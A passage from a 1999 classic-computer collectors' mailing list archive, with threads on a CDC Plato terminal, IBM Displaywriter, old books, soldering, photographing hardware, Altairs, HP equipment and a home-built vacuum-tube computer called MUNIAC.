cards for the smart terminal. It looks like this was made >around 1975 since the proms are dated then, and some other board had a chip >dated 1974... 8080a cpu.. I have the optional modem card, not that i can >use it (1200 rcv, 150 xmt ;) ;) > >This baby can support all sorts of baud rates, most of which are useless ;) >Lets see, if i recieve at 1260 baud, i can transmit at one of these rates: >1260, 630, 157.5, 126, 78.2 baud. > >If I recieve at 1200 baud (yes! a useful rate) I can transmit at 1200, 600, >150, 120, 75 baud. > >I only have 4K ram, does anyone have a spare 4k ram board for this ;) ;) > >I can see why I havent been using this, it looks like I need to wire up >a rs-232 adapter box. Pin 3 is recieve, pin 14 is transmit, pin 7 is ground. >Am I correct in assuming that i just need to move 14 to 2, or am i getting >2 and 3 swapped around? I woudl want to connectthis termianl to a cp/m >computer as its console, and not to a modem. > >Ok, time for the impossible question: Does anyone have a manual for this? > >I had some leftover old 1000 speed film in teh old automatic-everything >el-cheapo 35mm camera, so i turned onteh flash and snapped a few photos, >so with any luck i'll have some poor images of this beast by tomorrow. > >Hmm, if no manual is available, maybe an old termcap entry might make >this terminal useful again.... > >How many thousands of dollars is this beast worth? i may go broke buying >cloth covers for this stuff ;) > >-Lawrence LeMay From donm at cts.com Sat Jan 30 00:57:49 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal In-Reply-To: <36B28347.8BD307D6@waste.org> Message-ID: On Fri, 29 Jan 1999, Michael Grigoni wrote: > Lawrence LeMay wrote: > > > > Well, i figured it was about time I took my terminal out of the closet and > > tried to get it to work again. Well, the good news is it still appears > > to be working. > > > > This beast is a Control Data Corporation Plato terminal. As far as I know, > > its the original model of plato terminal. > > --snip-- > > Plato as a project evolved through many stages; when CDC jumped in > they began by providing courseware through Cybernet and other > hosts using a terminal designed around a plasma display screen which > allowed rear-projection of slides and other overlays. The terminal > had no intelligence. > > The machine you describe was a later-stage micro-based implementation > which ran CP/M and Plato courseware ported to it as well as MECC > and standard CP/M based packages. Are you thinking of the CDC 110 that used 8" disks and ran CP/M and also Plato stuff? I have the CP/M disks for one. - don > CDC Literature Distribution (in whatever form it may still exist) should > have beaucoup hardware manuals. > > Michael Grigoni > Cybertheque Museum > From donm at cts.com Sat Jan 30 00:35:23 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! In-Reply-To: <199901300158.RAA12868@oa.ptloma.edu> Message-ID: On Fri, 29 Jan 1999, Cameron Kaiser wrote: > ::> Um, Derek, you're gonna unsubscribe this, right? > :: > ::I just did, and they weren't subscribed in the first place. > :: > ::I wonder if I can change the configuration so that only subscribed people > ::can send things to the list? Is that really a good idea? > > Yes, definitely. Do it. We can clean up for the few people who might be > receiving mail at a different address than they're subscribed at, and I would > say very few if any in that category. (Maybe they should speak up now :-) Ummm, maybe. There have been some instances in the past where someone not on the list has sent in e-mail offering some piece of computer stuff before putting it to the general populace. Those offers would be eliminated. It may be worth it, but is a point to consider. - don > -- > -------------------------- personal page: http://calvin.ptloma.edu/~spectre/ -- > Cameron Kaiser Database Programmer/Administrative Computing > Point Loma Nazarene University Fax: +1 619 849 2581 > ckaiser@ptloma.edu Phone: +1 619 849 2539 > -- Optimization hinders evolution. -------------------------------------------- > From lwalker at mail.interlog.com Fri Jan 29 20:39:35 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:40 2005 Subject: IBM Displaywriter Message-ID: <199901300738.CAA27150@smtp.interlog.com> I picked up an IBM Displaywriter keyboard unit in a local thrift after eyeing it for a couple of weeks and finally couldn't resist adding it to my living-space challenged collection. I remember seeing mention of it in an old 81 datamation mag and a 50s style picture of a dedicated secretary busy at work on one and other info in possibly an old Byte. It was touted as being very popular to the point that it was touted over the PC and that CP/M programs were being ported to it. I opened it up and it has only a small I/O board with a 15 pin connector and takes it's power off that. It looks like an oversized C64. It obviously doesn't have enough electronics to be more than a keyboard terminal, but I don't recall seeing a box in the picture. I had understood the displaywriter to be a stand alone machine. Did it have an additional box or was it meant to connect to a CRT terminal hooked to a mainframe ? At present it would seem to be about to join the 3270 monitor I have (can't remember the model #) as interesting but unusable. Or could I get gadzillion bucks for it on e-pay ? Any info ? ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 29 20:39:34 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:40 2005 Subject: Handicapping competitions In-Reply-To: <19990129170926.0143983f.in@mail.pressstart.com> Message-ID: <199901300738.CAA27154@smtp.interlog.com> On 29 Jan 99 at 17:18, Doug Coward wrote: > Philip said: > >My usual method is to hold workpiece in left hand, iron in right hand and > >solder dispenser in mouth. I have also been known, when using solder > >straight from the reel, to make a fairly rigid structure from solder. > >Assuming a fixed workpiece, I suppose I could then hold the iron in my > >mouth... > > Owww.. Don't you get a face full of flumes from the solder? > And because of the small parallax (eyes to mouth), don't you > have a depth perception problem here? As well as a stiff neck? > (Not to mention sucking on that piece of lead in your mouth.) > Try this. Holding the iron in your right hand, take about > 8" of solder and wrap it a couple of turns around the tip of > your little finger (right hand) with about 6" extending toward > the tip of iron. You can control the solder by moving your little > finger back and forth. Sure, you will wind up with a few short > pieces of solder, but you can use them on jobs that don't take so > much gymnastics. > -Doug Or you could spend about $10 bucks for a little multiclamp holder. Mine even has a magnifying glass on it. ciao larry lwalker@interlog.com From healyzh at aracnet.com Sat Jan 30 02:06:31 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! In-Reply-To: References: <199901300158.RAA12868@oa.ptloma.edu> Message-ID: >Ummm, maybe. There have been some instances in the past where someone >not on the list has sent in e-mail offering some piece of computer stuff >before putting it to the general populace. Those offers would be >eliminated. It may be worth it, but is a point to consider. This and Sam's point about the way it's currently set up allowing us to post from alternate e-mail addresses which many people do at times, makes me think that leaving it the way it is, is for the best. Besides I think I've seen two SPAM messages hit the list in about 1.5-2 years. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From geoffrob at netcafe.pirie.mtx.net.au Sat Jan 30 02:31:26 1999 From: geoffrob at netcafe.pirie.mtx.net.au (Geoff Roberts) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal Message-ID: <01be4c2a$ed21b820$f17d38cb@netcafe.pirie.mtx.net.au> I vaguely seem to remember that the Plato Courseware also ran, or they had a version for, the TI99/4A. They were pushing it at schools and the like IIRC. My first real computer was a TI....Still got it here somewhere, complete with the expansion box and 24k of additional ram, and a 5.25" FDD. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From lwalker at mail.interlog.com Fri Jan 29 23:10:56 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! In-Reply-To: References: <199901300158.RAA12868@oa.ptloma.edu> Message-ID: <199901301009.FAA11774@smtp.interlog.com> On 29 Jan 99 at 22:35, Don Maslin wrote: > On Fri, 29 Jan 1999, Cameron Kaiser wrote: > > > ::> Um, Derek, you're gonna unsubscribe this, right? > > :: > > ::I just did, and they weren't subscribed in the first place. > > :: > > ::I wonder if I can change the configuration so that only subscribed people > > ::can send things to the list? Is that really a good idea? > > > > Yes, definitely. Do it. We can clean up for the few people who might be > > receiving mail at a different address than they're subscribed at, and I would > > say very few if any in that category. (Maybe they should speak up now :-) > > Ummm, maybe. There have been some instances in the past where someone > not on the list has sent in e-mail offering some piece of computer stuff > before putting it to the general populace. Those offers would be > eliminated. It may be worth it, but is a point to consider. > > - don > The list has been in existence for some time and the amount of spam we get is very minimal from my experience. I think it is well worth the price to pay for posters from the archives who might make a valuable offer of vintage equipment or insight. Reminds me of the "black hole" antispam initiative where the solution is worse than the problem. ciao larry lwalker@interlog.com From ds_spenc at alcor.concordia.ca Sat Jan 30 05:04:31 1999 From: ds_spenc at alcor.concordia.ca (Doug Spence) Date: Sun Feb 27 18:40:40 2005 Subject: interesting book In-Reply-To: <199901292259.QAA07806@thorin.cs.umn.edu> Message-ID: On Fri, 29 Jan 1999, Lawrence LeMay wrote: > Well well, people throw out the darndest things.. > > I found a copy of a book by someone named Peter Norton. Looks to me like it > may have been his first book. Called 'inside the IBM PC'. I found the same book a while back. The pages are falling out, but the content is good. This post is probably a good lead-in to the books I dragged home yesterday. Actually, ten books and one piece of software. It was the first time I've gone thrifting since before Christmas and it was great to see that so many interesting books had collected in one place during my absence. Too bad all of the computer hardware was thrown out again. I haven't had time to look it over yet, but the list of stuff is as follows (listing only title, author, and date): "Assembly Language Programming for the VAX-11" by Karen A. Lemone and Martin E. Kaliski, 1983. It was just cool to find something VAX-related. It looks like it was used as a textbook, and several pages are highlighted in orange. "Computer Olympics" by Stephen Manes and Paul Somerson, 1984. Cheap book printed on acid paper, containing many almost-generic BASIC listings. Advertises "For the Commodore 64, VIC 20; Apple II, II Plus, IIe; IBM PC, PCjr; Atari 400, 800, XL Series; Radio Shack Color Computer, and TI 99/4A" on the cover, and it also includes notes on the Coleco Adam. Kind of useless, but interesting as a contrast to the current computer market. "Making Tracks into Programming" for the TI Programmable 57, Texas Instruments 1977. "Microprocessor Data Book 1990/1991" - OKI Semiconductor. Not a classic, but it's only the second data book I've come across. Includes info on OKI 8085, 8086, and 8088 variations as well as some other stuff I don't recognize. One of these days I hope to understand these things. "PL/I Structured Programming" (2nd edition) by Joan K. Hughes, 1979. Beginner programming book. Big heavy thing, probably another textbook (it has a name and what looks like a student ID# in it). I missed some PL/I stuff a few months back, so this makes up for it a little. (The other was an actual language reference, though.) "Programming Your Timex/Sinclair 1000 in BASIC" by Mario Eisenbacher, 1983. Probably not a book I'll ever use (my TS-1000 is blecherous), but what the heck, it cost less than a buck. "TRS-80 Level II BASIC" by Bob Albrecht et. al., 1980. This one should prove useful as I've only got documentation for Level I BASIC and my own TRS-80 has Level II in it. "Turbo Prolog Primer" by Dan Shafer, 1986. I've got an assignment due in a week that has to be done in Prolog, and had no Prolog text and nobody to teach it to me. Too bad Prolog doesn't seem to have a standardized syntax - this book is useless for what I'm doing. :/ At $0.69 Canadian, I'm not going to complain, though. :) (A bunch of students got together tonight with books from the library and I think we now know most of what we need to know.) "Videotex: The New Television/Telephone Information Services" by R. Woolfe, 1980. This one looks like interesting reading. Quite a few colour photos from Prestel. A bit of a moral dilemma, though, as the book appears to have been taken out of a (non-local) university library in 1991 and not returned. "Without Me You're Nothing" by Frank Herbert and Max Barnard, 1980. I just found this one intriguing. I'm not expecting "Dune". :) I left some generic "Programming the Commodore 64" type books behind. The software that I picked up yesterday is "Story Maker" for the Apple ][ series, minus the poster that was supposed to come with it. I usually ignore childrens' software, but I've got so little legitimate stuff for my 8-bits that I thought I should pick it up. Before Christmas I also found "Typing Tutor IV" for the C64/C128 with the disk still sealed in its plastic envelope. The paper in the manual is going yellow, though. My collection of books is getting to be just as hard to manage as my computers. > Personally, I think this guy could go far... :) > -Lawrence LeMay -- Doug Spence ds_spenc@alcor.concordia.ca http://alcor.concordia.ca/~ds_spenc/ From tim at thereviewguide.com Sat Jan 30 05:09:53 1999 From: tim at thereviewguide.com (Tim Hotze) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! In-Reply-To: <199901300158.RAA12868@oa.ptloma.edu> References: <199901300137.RAA02788@saul4.u.washington.edu> from "Derek Peschel" at Jan 29, 99 05:37:09 pm Message-ID: <199901301115.DAA26784@geocities.com> > Yes, definitely. Do it. We can clean up for the few people who might be > receiving mail at a different address than they're subscribed at, and I would > say very few if any in that category. (Maybe they should speak up now :-) It's a good idea, but it has some flaws. Several people on this list send a 'subscribe' message to the list rather than to listproc. This DOES create a bit of a neusense for the members, but it also means that we can gain another valueable collector. Several times, people have written to this list to donate equipment, or at least give us a hint about a pick up. These people may not find the stuff particularlly interesting, or may not have the resources to keep/maintain it, but don't want to see it end up as a case of Coke cans, or someone's cabinet. Or what about the people who got this eMail address but figured out that it won't get them subscribed? I'm not opossed to getting rid of the 'anyone can post' rule, but I think that we should at least try to get a decent error message, saying something to the effect of "We're sorry, but you can't post to the list unless you're subscribed. To subscribe, send an eMail to listproc@u.washington.edu with a blank subject and the words Subscribe classiccmp Firstname Lastname in the body (replacing Firstname Lastname with your respective first and last names) If you want to write about hardware you wish to donate, please eMail (proposed email address). And if you're trying to spam us--STOP IT!!!! IT WON'T WORK!!!!" Yes, I know that last bit won't ever get read by the actual THING that's doing the spamming, but doesn't it just make you feel better? ;-) Just my $0.02 (plus interest, of course.) Tim ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From kstumpf at unusual.on.ca Sat Jan 30 06:02:02 1999 From: kstumpf at unusual.on.ca (Unusual systems) Date: Sun Feb 27 18:40:40 2005 Subject: IBM Displaywriter Message-ID: <199901301202.HAA10650@saturn.golden.net> > It obviously doesn't have enough electronics to be more than a keyboard >terminal, but I don't recall seeing a box in the picture. I had understood the >displaywriter to be a stand alone machine. Did it have an additional box or was >it meant to connect to a CRT terminal hooked to a mainframe ? > At present it would seem to be about to join the 3270 monitor I have (can't >remember the model #) as interesting but unusable. The Displaywriter system I have has the keyboard, a monitor, a monitor base-unit, and a box that would sit besite the monitor, etc. It houses dual 8" diskette drives and the rest of the electronics. The cable that runs from this box to the monitor, etc. is permanently attached to the box explaining why you see only a connector. The printer plus form-feed attachment have a footprint that matches the rest of the system, but is even higher than the rest of the system. Early, unobtrusive office automation at it's best. In keeping with the 3 states of computing (hardware, software, eveyware), early IBM word processing technology elegantly passed through the first 2 states. In 1964 IBM coined the term word processing when it released the Magnetic Tape Selectric Typewriter followed the the Magnetic Card Selectric Typewriter and finally the Displaywriter product. This was the hardware state since these products were huge, dedicated pieces of hardware. Then IBM came out with the Displaywrite software series. The hardware melted into software and the technology entered the second state. Now word processing technology is everyware - fax, email, order entry, customer service...; it dissolved from software into everyware. There. ---------------------------------------------------------------------------- ------------------------------- Kevin Stumpf * Unusual systems * www.unusual.on.ca +1.519.744.2900 * EST/EDT GMT - 5 Collector - Commercial Mainframes & Minicomputers from the 50s, 60s, & 70s and control panels and consoles. Author & Publisher - A Guide to Collecting Computers & Computer Collectibles * ISBN 0-9684244-0-6 . From cbajpai at mediaone.net Sat Jan 30 06:11:06 1999 From: cbajpai at mediaone.net (Chandra Bajpai) Date: Sun Feb 27 18:40:40 2005 Subject: Old Notebooks In-Reply-To: Message-ID: <000001be4c49$9d219560$0100a8c0@chandrab.ne.mediaone.net> What the history/specs behind the Fortune 32:16....I remember reading an article years ago that they burned through a lot of VC money and produced few machines. I think they competed against the Victor 9000. -Chandra > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Brett Crapser > Sent: Friday, January 29, 1999 10:29 PM > To: Discussion re-collecting of classic computers > Subject: Re: Old Notebooks > > > > On Fri, 29 Jan 1999, Chandra Bajpai wrote: > > Hi, > > I new to the list and recently decided to persue my 'new' old hobby. > > I was wondering if anyone has any of these old systems: > [Snip} > > I'm fortunate to have an old Go OS system...an IBM Thinkpad. Stupidly > > several years ago let a friend throw away the entire Go documentation > > set as well as SDK. About the same time I threw away one of the first > > notebooks made - an old Bondwell 8088 machine (mid-80's it was a real > > clunker of a machine)...my Mom wouldn't let me keep it due to space > > constraints....it went along with all my Creative Computer and Interface > > Age issues! It pains me to think about all that stuff (including all > > the prototype systems I had, some which were never sold). > > I didn't know...honest. > > Chandra - Not exactly the BEST first message to send to THIS group 8-) > > > > Fortune 32:16 > > I remember these - ain't got one tho 8-( > > > Gavilian > > Lot's of talk lately about them - maybe someone can 'find' ya one. > > You should also mention some kind of location - it helps us know if > we find something we don't want - but know you do - to remember to > consider it. > > BC > From Jgzabol at aol.com Sat Jan 30 07:02:02 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:40 2005 Subject: vacuum tube computer Message-ID: Hi all, I have recently joined the list, not yet contributed too much, but enjoyed reading quite a bit. My personal preference is older stuff - if it contains integrated circuits, I am not too much interested (with the possible exception of a Cray-1). I did not succeed in finding any serious equipment in vacuum-tube technology. Therefore, I decided to design and build a complete computer with vacuum-tube technology from scratch. A short description of the project is enclosed, for those of you who might be interested. The attachment is best viewed with some straight ASCII editor, like the MS-Editor. Thanks to Hans Franke for a reading of a draft version and constructive comments. BTW, I am located in Munich, Germany. John G. Zabolitzky -------------- next part -------------- Project MUNIAC Rev. 1.0 of May 29, 1998 ============== Rev. 1.1 of Jan 25, 1999 Rev. 1.2 of Jan 30, 1999 John G. Zabolitzky Overview -------- MUNIAC is a complete general-purpose digital computer built with vacuum-tube technology. It is NOT a replica of any known specific historic machine. It is designed and built using technology available (at least in principle) around 1959. MUNIAC is designed from scratch. The idea is that by limiting myself to 1959 technology I will retrace the paths of thought traversed by the designers of those times. The name MUNIAC originates from the historic pattern for names of early computers IAC, where IAC stands for Integrator And Computer. Such early names were e.g. ILLIAC for Illinois Integrator and Computer, etc. By "available in principle" I wish to state that for cost reasons actual historic parts will be used only where reasonably available. Most parts used will be of modern manufacture. For example, modern silicon diodes will be used which do have better data than diodes available in 1959, but logically do not differ very much. In particular, the most hurting parameter, capacity, is very much the same today as it was then, at 1 pF. The date of 1959 is chosen since the end of the vacuum tube era is intended. Any later date would imply a tendency towards transistors instead of vacuum tubes, any earlier date would make the technology distinction rather subtle. Basic design ------------ MUNIAC is a 12 bit parallel computer. Memory is of course the most relevant decision; magnetic core was selected as appropriate for the time as well as feasible today. The 12 bit word size is due to availability of memory, overall machine cost and size limitations. The actual memory used is a core stack from a Digital Equipment PDP-8e machine, 4 k words of 12 bit each. I was fortunate to purchase a new-old-stock PDP-8e together with an extra memory plane and complete engineering documentation, giving all the currents, voltages, and timing. This was manufactured probably in 197x and could perform at 1.4 æsec cycle time. The machine was built with 74xx SSI devices, power transistors as core drivers. Only the core stack itself will be used in MUNIAC, none of the associated electronics. While the cores are quite smaller and faster than those of 1959, the principle is the same, and with vacuum tube drivers the core will be much slower, of course. There is no backup storage, like drum, disk, tape. Apart from registers (see below) core memory is the exclusive storage device. I/O is a Siemens teletype with papertape-reader/-punch, of around 1957, running at a speed of 50 baud. This is the only periphery. Papertape (European style 5 channel) could be viewed as external storage, however. The CPU designed around the core stack has 5 registers: operation register, operand register, accumulator, memory address register, and program counter. Out of these only two are visible to the programmer: accumulator and program counter. There is no index register, nor any hardware provision for indexing. Program code is 24 bit wide, i.e. each operation occupies two 12 bit words. The first word is the opcode, the second word is a. the address or b. an immediate value The style is "long instruction word", i.e. relatively little decoding is done, most functional unit control lines come directly from the opcode with only little gating involved. That makes the number of instructions (if counted the classical way) rather large, and the machine hardware rather simple since little decoding as well as little control logic is required. MUNIAC is a single address machine. Basic opcodes are LOAD address LOAD immediate STORE address STOREcond address JUMPcond address ALUOP immediate ALUOP address For simplicity operations are microcoded. There are only four different operations, as far as microcode is concerned: STORE, JUMP, ALUOP immediate, ALUOP address. LOAD is a special case of ALUOP. A small diode matrix is used as microprogram storage, less than 32 words of less than 22 bits wide are used (This part of the design not definitely concluded yet). I/O will be implemented as special cases of LOAD (IOREAD), STORE (IOWRITE), and JUMPC (IOTEST). The machine is designed to be "very" von Neumann. This is because usually I design strongly Harvard- Style, with very independent program and data pathes. Since there is only one single core stack intended, that was out of the question. Since the machine therefore is von Neumann style, I decided to emphasize that feature. Indexing is to be performed by using a program word as index register, i.e. incrementing the address in LOAD address, for example. Similarly subroutine return jumps are executed by writing the return addres after the JUMP opcode. In other words, program modification by the program itself is used extensively. Basic hardware elements ----------------------- Three 19" racks are used. The bottom of each rack holds the power supplies (good old Seymour style), the upper parts a total of about 30 card cages for standard Euro cards 100 mm x 160 mm. Each cage can hold up to 14 cards. Standard 19" mechanical components are used for cost and availablity reason. Ventilation is by off-the-shelf 19" ventilator assemblies. There are four types of cards: a. logic and registers (approx. 200 used) b. clock drivers (approx. 25 used) c. core sense amplifiers (12 used) d. core drivers (19 used) Types a,b use the same printed circuit board, differing parts mounting. Types c, d are different. The tubes used have been selected according to availability of surplus stocks. Starting from surplus stock lists, the most suitable tube for each purpose has been selected, resulting in average cost of less than 1 US$ per tube. Types a and c use 6BQ7A miniature dual triodes, two per card, approx. 400 tubes total. Type b uses 6CW5 miniature power pentodes, two per card, approx. 50 tubes total. Type d uses 40KG6 beam power pentodes, four per card, 76 tubes total. The cards plug into DIN41612 wire-wrap connectors, i.e. the back of the 19" rack is a wire-wrap plane. All supply and signal connections are done as wire-wrap. One big decision to take is the design of the logic implementation. For cost and size reasons I decided NOT to use cathode-followers, but straight diode and-or-invert gates exclusively. One card type a holds four sections, each of which consists of one triode as inverting amplifier, with the grid connected to a two-level and-or diode network. That would correspond to "diode-transistor-logic" (DTL) as opposed to using cathode followers wich would make the logic similar to emitter coupled logic (ECL). The machine therefore will be rather slow, memory cycle time about 20 æsec. Using cathode followers would give a significant speed increase, but also would increase size and power by at least a factor of 1.7. Thus there is only ONE gate type used for implementation of ALL logic and registers: the and-or-invert gate. Typical width of the or is 2 to 5, typical width of the and is 1 to 6. The card layout is such that a total of 32 inputs can be distributed in many different ways over the four gates on that card, by mounting the diodes properly. Each card has 4 outputs, corresponding to the four gates or four triode systems. A latch is formed by cross-connecting two of the basic gates, a master-slave flip-flop by using two latches, i.e. four gates, i.e. one card. By using a few more of the and-or functionality available anyway, the master- slave flip-flop can also be a counter bit, only little extra carry-look-ahead logic is required. Therefore, a 12 bit register or counter occupies one of the card cages. The entire logic design is parallel register transfer with fixed central master clock. Therefore, the design task is rather well structured, essentially NO irregular pieces, therefore straightforward design verification. Power consumption will be 4000 watts approximately. There are 24 V heater supply ( 4 x 6.3 V, 1000 watts), 80 V heater supply ( 2 x 40 V, 700 watts ), DCplus 230V supply (2000 watts), and DCminus 200V (300 watts) supply. Current Status -------------- As of Jan 25, 1999 most of the design is completed. All non-standard parts are in house, printed circuit boards have been manufactured. Power supplies have been built and tested OK. The first few card cages have been constructed; about 50 cards built and tested up to now. Total parts cost is estimated at DM 30.000,-. Total time required is estimated at about 2 years remaining (less than 20 hours/week can be used; one and a half year so far is in design and construction up to this point).  From Jgzabol at aol.com Sat Jan 30 07:03:13 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:40 2005 Subject: electromechanical calculator Message-ID: Today I run into a Monroe CAA-10 electromechanical calculator, totally accidentally and unplanned. I am not in electromechanical devices, but it looked nice, so I bought it for approx. US$60. Question: Is this in any way rare or significant, or is it something where everybody has already 10 pieces of ? Does anyone know the manufacturing period ? There is no date on the machine, but the style impresses me as definitely 50-ish. John G. Zabolitzky From pete at dunnington.u-net.com Fri Jan 29 15:42:25 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:40 2005 Subject: photographing olf computers/parts In-Reply-To: Philip.Belben@pgen.com "Re: photographing olf computers/parts" (Jan 29, 9:58) References: <80256708.003553FB.00@WESTD90.pgen.co.uk> Message-ID: <9901292142.ZM15809@indy.dunnington.u-net.com> On Jan 29, 9:58, Philip.Belben@pgen.com wrote: > Subject: Re: photographing olf computers/parts > Use the longest focal length you can That's sound advice. > The slower 35mm films are pretty good with a decent lens, but if you can > get the required magnification with the polaroid, it may be worth > considering since it is likely to be a less grainy process, and a larger > film area (i.e. lower resolution per inch <= same resolution across whole > picture) Actually, modern 35mm film is likely to be better. Don't use too slow a film; for technical reasons, the slower the film, the more contrasty it's likely to be. Too much contrast loses detail. > I have little experience with lighting computer stuff, but I imagine (say) > a board full of chips might require several light sources to avoid the > chips casting strange shadows. Mechanic/electrical artefacts tend to have a lot of reflections, and it's usually better to use one main (preferably diffuse) light source with a big reflector on the other side of the subject, to fil in the shadows. A big white board, or a bedsheet will do admirably. If you do want highlights off the shiny parts, you can always add a small light once you have the main lighting adjusted. If you're using artificial light, even for colour negatives, you'll get better results if you use a colour correction filter on the camera. -- Pete Peter Turnbull Dept. of Computer Science University of York From rigdonj at intellistar.net Sat Jan 30 08:48:22 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:40 2005 Subject: Altairs In-Reply-To: <36B278D1.1C48D1AD@rain.org> References: Message-ID: <3.0.1.16.19990130084822.43df5fde@intellistar.net> At 07:13 PM 1/29/99 -0800, you wrote: >There is an ebay auction with two what look to be Altairs, but the second >does not have the MITS "title bar" at the bottom. I thought this was >discussed earlier but I can't find it. Were the early kits, machines, or >??? supplied without the strip, or did someone build it and just not attach >that trip? Some kits were not supplied with the "title bar". I have one that was. I don't know if any of the "factory-built" machines came without them or not but I suspect so since many of the "factory-built" ones were actually put together in the back rooms of the computer dealers since the wait was so long for real factory built ones. If the serial number ends with a K then it was build from a kit. > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60303160 > >Is there a way to date when an Altair was made if the serial number is >missing or was not applied (type of motherboard, or other parts)? > >Did all the early Altairs have the crude 4 S-100 socket boards, or did they >make some that were more than 4 sockets? No the later A models came with 10 (I think) socket MBs. Joe > From rigdonj at intellistar.net Sat Jan 30 09:05:57 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:40 2005 Subject: Hello all! In-Reply-To: <005a01be4c03$b1442a80$0101a8c0@jay> Message-ID: <3.0.1.16.19990130090557.321f97b6@intellistar.net> At 09:50 PM 1/29/99 -0600, you wrote: >You wrote... > >>Hi Jay, >> >> Welcome to the list. Where are you located? I collect smaller HPs >>(9000s, 98xx stuff, 85s, calculators, etc). > >St. Louis, MO. > >Smaller HP's (9000)? The K and V class machines aren't that small ! So far I've stayed away from anything bigger than a 9000 380. I don't know how long I can hold out though. Actually that's not quite true. I do have a 9000 236C. It's huge! I only took it since it had the color screen and to prevent it from being scrapped. > >What's 98xx? Let's see; 9815, 9821, 9825, 9830, 9831, 9835, 9845. That's just the ones I have, there are also 9805, 9810, 9820, 9826 and probably some others. These were the first of the HP 9000 series computers. > >Calculators? Nifty! I have an HP41C that I treasure, but a plastic connector >cracked so the top half isn't always in good contact with the bottom half. >Grrr... Anyone have a totally dead 41C that I could steal to use the plastic >parts from? No but if you tell me exactly what's wrong I may be able to tell you how to fix it. Usually either the plastic breaks out around the screw holes in the back or else the posts that the screws go into break off. > >> I just send two HP 7907s with MAC interfaces to another list member. > >Humm... I must admit not being familiar with the 7907's. What was different >about them from the 7906? I never saw any TSB docs that mentioned them... >Got any 7900A's ? :) No, the 7907s are the oldest drives that I've seen. I have a line on a 7936/7937 though. Do you need it? The 7907s are intergral hard drives and removeable cartridge drives. 20 Mb each if I remember correctly. You can copy HD to cartridge or vice versa from the front panel without it being connected to a computer. These two were very odd in that they had the MAC interface instead of the standard HP-IB. Probably the only two ever build that way. They were special ordered by McDonnal Douglas for the space schuttle operations center at KSC and used on a HP 1000. > >> What do you do at The Software Exchange (tseinc.com)? >> Joe > >We Exchange our software for other people's money! Nice Job! :-) > >I'm the owner there. We sell HP9000 series 800 machines (that's the HP-UX >Unix boxes), but we sell only new machines (not used) as part of a vertical >solution (with our manufacturing and distribution software). We also do >custom programming, network consulting, and we're an ISP as well. Pretty >diverse! We only deal in new HP Unix/RISC gear though, not any of the type >that I like collecting (2000 TSB related). Also, our DARship only allows us >to sell the series 800 stuff with our software. So - no - my desire for 21mx >stuff is strictly for my personal collection at home (the 2000E was the >first system I ever learned in high school). > >Other systems in my collection include Dec PDP-8E, PDP-11/23, PDP-11/73, >HP1000E (2 of them), and a wide range of period peripherals (LA36, LSI & >Hazeltine, Microterm, TU10, Kennedy tape drives, RX02's, etc). My current >project is finishing restoration of the 8E (almost complete). Geez! You must own a warehouse! > >Glad to be here on the list, and hope to contribute! > >Jay West Joe > > From rigdonj at intellistar.net Sat Jan 30 09:11:22 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:40 2005 Subject: interesting book In-Reply-To: References: <199901292259.QAA07806@thorin.cs.umn.edu> Message-ID: <3.0.1.16.19990130091122.4f2f70d8@intellistar.net> At 06:04 AM 1/30/99 -0500, you wrote: > > >On Fri, 29 Jan 1999, Lawrence LeMay wrote: > >> Well well, people throw out the darndest things.. >> >> I found a copy of a book by someone named Peter Norton. Looks to me like it >> may have been his first book. Called 'inside the IBM PC'. Arrghhh! Now I do feel old! I bought this book when it was new! I still have both the first, second and third editions. Joe From rigdonj at intellistar.net Sat Jan 30 09:19:43 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:40 2005 Subject: interesting book In-Reply-To: <199901300245.UAA08033@thorin.cs.umn.edu> References: Message-ID: <3.0.1.16.19990130091943.4f2f656e@intellistar.net> At 08:45 PM 1/29/99 -0600, you wrote: >> > >> > Well well, people throw out the darndest things.. >> > >> > I found a copy of a book by someone named Peter Norton. Looks to me like it >> > may have been his first book. Called 'inside the IBM PC'. >> >> Isn't this the well-known pink-shirt book (so called because of the cover >> picture). >> > >Nope, it has a circuitboard as a background, and some horizontal fake >lightning on the cover. That's his first edition. The second also showed a circuit board but without the lightning. I remember the pink shirt book it was also PN but I don't remember exactly what the book was. Joe From pete at dunnington.u-net.com Sat Jan 30 07:57:00 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:40 2005 Subject: photographing olf computers/parts In-Reply-To: "Sean 'Captain Napalm' Conner" "Re: photographing olf computers/parts" (Jan 29, 17:31) References: <199901292232.RAA19081@armigeron.com> Message-ID: <9901301357.ZM9836@indy.dunnington.u-net.com> On Jan 29, 17:31, Sean 'Captain Napalm' Conner wrote: 